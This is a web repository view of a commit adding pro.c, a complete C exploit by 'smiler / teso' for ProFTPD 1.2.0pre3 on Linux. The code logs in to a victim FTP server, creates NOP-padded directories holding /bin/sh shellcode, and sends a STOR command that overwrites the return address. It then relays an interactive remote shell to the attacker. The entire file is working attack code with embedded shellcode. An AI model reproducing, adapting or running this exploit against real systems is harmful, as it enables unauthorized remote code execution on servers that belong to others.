summaryrefslogtreecommitdiff
path: root/exploits/7350proftpd/pro.c
diff options
context:
space:
mode:
Diffstat (limited to 'exploits/7350proftpd/pro.c')
-rw-r--r--exploits/7350proftpd/pro.c472
1 files changed, 472 insertions, 0 deletions
diff --git a/exploits/7350proftpd/pro.c b/exploits/7350proftpd/pro.c
new file mode 100644
index 0000000..673ae41
--- /dev/null
+++ b/exploits/7350proftpd/pro.c
@@ -0,0 +1,472 @@
1/* proftp exploit for 1.2.0pre3 linux
2 * tested on suse 6.2
3 *
4 * note, the shorter your domain name is, the more nops there are....
5 *
6 * comments / criticisms to smiler@tasam.com
7 *
8 * smiler / teso
9 *
10 * [http://teso.scene.at]
11 *
12 */
13
14#include <stdio.h>
15#include <stdlib.h>
16#include <string.h>
17#include <stdarg.h>
18#include <netdb.h>
19#include <unistd.h>
20#include <sys/socket.h>
21#include <netinet/in.h>
22#include <arpa/inet.h>
23
24#define PORT 2666
25
26/* shellcode with 0xff's already doubled up... */
27char hellcode[]=
28 "\xeb\x21\x5b\x31\xc0\x31\xd2\x90\xfe\x0b\xfe\x4b\x04"
29 "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
30 "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\xda\xff\xff"
31 "\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68";
32
33void parse_opts (int argc, char **argv);
34int resolv (char *hostname, struct in_addr *addr);
35void usage (char *s);
36int tcp_connect (struct in_addr addr, unsigned short port);
37int ftp_command (char *buf, int success, FILE *out, char *fmt, ...);
38int send_exploit (FILE *stream);
39int parse_pwd (char *str);
40int stor_file (FILE *stream, char *buf);
41void my_put_long (u_char *ptr, unsigned int l);
42void RunShell (int fd);
43
44struct in_addr victim;
45char init_dir[25],
46 username[25],
47 password[25],
48 hostname[50];
49int offset = 0;
50
51#define RET_ADDR 0xbffff662
52
53
54void
55get_hostname (int fd)
56{
57 struct hostent *res;
58 struct sockaddr_in sa;
59 int len;
60
61 fprintf (stderr, "Trying to get hostname...\n");
62
63 len = 16;
64 getsockname (fd, (struct sockaddr *)&sa, &len);
65 res = gethostbyaddr ((char *)&sa.sin_addr, sizeof (struct in_addr),
66 AF_INET);
67 if (res == NULL) {
68 fprintf (stderr, "no reverse address found...using ip\n");
69 strcpy (hostname, inet_ntoa (sa.sin_addr));
70 } else {
71 strcpy (hostname, res->h_name);
72 }
73 fprintf (stderr,"Hostname: %s\n", hostname);
74 return;
75}
76
77/* open connection to server and call relevant functions
78 */
79int
80talk (void)
81{
82 int fd;
83 int retval = 0;
84 FILE *stream;
85 char buf[1024];
86
87 if ((fd = tcp_connect (victim, 21)) < 0) {
88 perror ("connect");
89 exit (-1);
90 }
91
92 if (*hostname == '\0')
93 get_hostname (fd);
94
95 if ((stream = fdopen (fd, "r")) == NULL) {
96 perror ("fdopen");
97 exit (-1);
98 }
99
100 /* get banner */
101 fgets (buf, sizeof(buf) - 1, stream);
102 fputs (buf, stdout);
103
104
105 if (ftp_command (buf, 331, stream, "USER %s\n", username) < 0) {
106 fprintf (stderr, "Bad username\n");
107 retval = -1;
108 goto err;
109 }
110
111 if (ftp_command (buf, 230, stream, "PASS %s\n", password) < 0) {
112 fprintf (stderr, "Bad password\n");
113 retval = -1;
114 goto err;
115 }
116
117 if (send_exploit (stream) < 0)
118 return (-1);
119
120 RunShell (fd);
121err:
122 close (fd);
123 fclose (stream);
124 return (retval);
125}
126
127/* helper function to make the final directory with shellcode in.
128 */
129void
130make_egg (char *buf, int len)
131{
132 len += 3; /* kludge to offset number of 0xff's in shellcode */
133 memset (buf, 0x90, len);
134 strcpy (buf + len - strlen (hellcode), hellcode);
135 buf[len] = '\0';
136 return;
137}
138
139/*
140 * start making directorys and call stor_file()
141 */
142int
143send_exploit (FILE *stream)
144{
145 int pwdlen,
146 ctr;
147 char buf[1024],
148 tmp[1024];
149
150 bzero (buf, sizeof (buf));
151
152 if (*init_dir)
153 if (ftp_command (buf, 250, stream, "CWD %s\n", init_dir) < 0) {
154 fprintf (stderr, "Bad start directory\n");
155 return (-1);
156 }
157
158 if (ftp_command (buf, 257, stream, "PWD\n") < 0) {
159 fprintf (stderr, "Couldn't get current directory\n");
160 return (-1);
161 }
162
163 pwdlen = parse_pwd (buf);
164 bzero (password, sizeof (password));
165
166 fprintf (stderr, "Making padding directories\n");
167
168 for (ctr = 0; ctr < 4; ctr++) {
169 memset (tmp, 'A', 194);
170 tmp[194] = '\0';
171 if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) {
172 if (!strstr (buf, "File exists")) {
173 fputs (buf, stderr);
174 return (-1);
175 }
176 }
177 if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) {
178 fputs (buf, stderr);
179 return (-1);
180 }
181 }
182
183 /* make the padding directory. it also contains the shellcode.
184 * the STORed file will contain the return address
185 */
186 ctr = 201 - pwdlen - strlen (hostname);
187 if ((ctr+10) < (strlen(hellcode))) {
188 fprintf (stderr, "no space for shellcode - try using a"\
189 " shorter hostname and/or a shorter starting"\
190 " directory\n");
191 return (-1);
192 }
193 make_egg (tmp, ctr);
194 if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) {
195 fputs (buf, stderr);
196 return (-1);
197 }
198
199 if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) {
200 fputs (buf, stderr);
201 return (-1);
202 }
203
204 printf ("Press any key to send overflow\n");
205 getchar ();
206 return (stor_file (stream, buf));
207}
208
209/* send STOR command to send final part of the overflow
210 */
211int
212stor_file (FILE *stream, char *buf)
213{
214 u_char *ptr, *ptr2;
215 int listenfd,
216 accfd;
217 struct sockaddr_in sa, tmp;
218 int len;
219 char stor_string[30],
220 ret_string[6];
221
222 listenfd = socket (AF_INET, SOCK_STREAM, 0);
223 bzero (&sa, sizeof (sa));
224 sa.sin_addr.s_addr = htonl (INADDR_ANY);
225 sa.sin_port = htons (0);
226 sa.sin_family = AF_INET;
227
228 bind (listenfd, (struct sockaddr *)&sa, sizeof (sa));
229 listen (listenfd, 1);
230
231 /* get localip and src port */
232 len = 16;
233 getsockname (fileno (stream), (struct sockaddr *)&tmp, &len);
234 getsockname (listenfd, (struct sockaddr *)&sa, &len);
235 ptr = (char *)&tmp.sin_addr;
236 ptr2 = (char *)&sa.sin_port;
237 if (ftp_command (buf, 200, stream, "PORT " \
238 "%d,%d,%d,%d,%d,%d\n",ptr[0],ptr[1],ptr[2],ptr[3],
239 ptr2[0], ptr2[1]) < 0) {
240 fputs (buf, stderr);
241 close (listenfd);
242 return (-1);
243 }
244
245 if (ftp_command (buf, 200, stream, "TYPE I\n") < 0) {
246 close (listenfd);
247 fputs (buf, stderr);
248 return (-1);
249 }
250
251 bzero (stor_string, sizeof (stor_string));
252 bzero (ret_string, sizeof (ret_string));
253 my_put_long (ret_string, RET_ADDR + offset);
254 sprintf (stor_string, "aaaaaaaaaaa%s%s%s%s", ret_string,
255 ret_string, ret_string, ret_string);
256
257 if (ftp_command (buf, 150, stream, "STOR %s\n", stor_string) < 0) {
258 close (listenfd);
259 fputs (buf, stderr);
260 return (-1);
261 }
262
263 accfd = accept (listenfd, (struct sockaddr *)&sa, &len);
264 close (listenfd);
265 /* we dont' want to write anything ! */
266 close (accfd);
267 ftp_command (buf, 226, stream, ""); /* Transfer complete */
268 return (0);
269}
270
271int
272main (int argc, char **argv)
273{
274 puts ("proftp exploit by smiler of teso\n");
275
276 parse_opts (argc, argv);
277
278 talk ();
279 return (0);
280}
281
282void
283parse_opts (int argc, char **argv)
284{
285 char c,
286 *argv0;
287
288 argv0 = strdup (argv[0]);
289
290 *init_dir = '\0';
291 *hostname = '\0';
292
293 while ((c = getopt (argc, argv, "s:h:o:")) != -1) {
294 switch (c) {
295 case 's':
296 strncpy (init_dir, optarg, sizeof (init_dir));
297 break;
298 case 'h':
299 strncpy (hostname, optarg, sizeof (hostname));
300 break;
301 case 'o':
302 offset = atoi (optarg);
303 break;
304 }
305 }
306
307 argc -= optind;
308 argv += optind;
309
310 if (argc < 3)
311 usage (argv0);
312
313 if (!resolv (argv[0], &victim)) {
314 herror ("resolv");
315 usage (argv0);
316 }
317
318 strncpy (username, argv[1], sizeof (username));
319 strncpy (password, argv[2], sizeof (password));
320 bzero (argv[2], strlen (argv[2]));
321
322 free (argv0);
323 return;
324}
325
326/* generic function to send a command to an ftp server and
327 * parse the response
328 * compares the return value from the ftp server to 'success'
329 */
330int
331ftp_command (char *buf, int success, FILE *out, char *fmt, ...)
332{
333 va_list va;
334 char line[2048];
335
336 va_start (va, fmt);
337 vsprintf (line, fmt, va);
338 va_end (va);
339
340 if (send (fileno (out), line, strlen (line), 0) <= 0)
341 return (-1);
342
343 for (;;) {
344 fgets (line, sizeof (line) - 1, out);
345 if (*(line + 3) != '-')
346 break;
347 }
348 strncpy (buf, line, 1024);
349
350 if (success != atoi (line))
351 return (-1);
352
353 return (1);
354}
355
356int
357parse_pwd (char *str)
358{
359 char *ptr, *ptr2;
360
361 ptr = strchr (str, '\"');
362 if (!ptr++) return (0);
363
364 ptr2 = strchr (ptr + 1, '\"');
365 if (!ptr2) return (0);
366
367 *ptr2-- = '\0';
368 while (*ptr2 == '/') *ptr2-- = '\0';
369
370 printf ("Start dir = %s\n", ptr);
371 return (strlen (ptr));
372}
373
374int
375tcp_connect (struct in_addr addr, unsigned short port)
376{
377 struct sockaddr_in sa;
378 int fd;
379
380 fd = socket (AF_INET, SOCK_STREAM, 0);
381 if (fd < 0)
382 return (-1);
383
384 bzero (&sa, sizeof (sa));
385 sa.sin_family = AF_INET;
386 sa.sin_port = htons (port);
387 sa.sin_addr.s_addr = victim.s_addr;
388
389 if (connect (fd, (struct sockaddr *)&sa, sizeof (sa)) < 0)
390 return (-1);
391
392 return (fd);
393}
394
395int
396resolv (char *hostname, struct in_addr *addr)
397{
398 struct hostent *res;
399
400 if (inet_aton (hostname, addr))
401 return (1);
402
403 res = gethostbyname (hostname);
404 if (res == NULL)
405 return (0);
406
407 memcpy ((char *)addr, res->h_addr, sizeof (struct in_addr));
408 return (1);
409}
410
411void
412usage (char *s)
413{
414 fprintf (stderr,"usage: %s <hostname> <username> <password> ",
415 s);
416 fputs ("[-s start directory] [-h your hostname]\n", stderr);
417 exit (-1);
418}
419
420/* used to put the return address into the egg, doubling up the 0xff's
421 */
422void
423my_put_long (u_char *ptr, unsigned int l)
424{
425 int i;
426 u_char *ptr2;
427
428 ptr2 = (char *)&l;
429 for (i = 0; i < 4; i++) {
430 *ptr++ = *ptr2;
431 if (*ptr2 == 0xff) *ptr++ = 0xff;
432 ptr2++;
433 }
434 return;
435}
436
437void
438RunShell (int fd)
439{
440 u_char buf[1024];
441 fd_set rset;
442 int n;
443
444 for (;;) {
445 FD_ZERO (&rset);
446 FD_SET (fd, &rset);
447 FD_SET (STDIN_FILENO, &rset);
448
449 n = select (fd + 1, &rset, NULL, NULL, NULL);
450 if (n <= 0) {
451 perror ("select");
452 return;
453 }
454
455 if (FD_ISSET (fd, &rset)) {
456 n = recv (fd, buf, sizeof (buf), 0);
457 if (n <= 0) {
458 fprintf (stderr, "Connection closed.\n");
459 return;
460 }
461 write (STDOUT_FILENO, buf, n);
462 }
463
464 if (FD_ISSET (STDIN_FILENO, &rset)) {
465 n = read (STDIN_FILENO, buf, sizeof (buf));
466 if (n <= 0)
467 return;
468
469 send (fd, buf, n, 0);
470 }
471 }
472}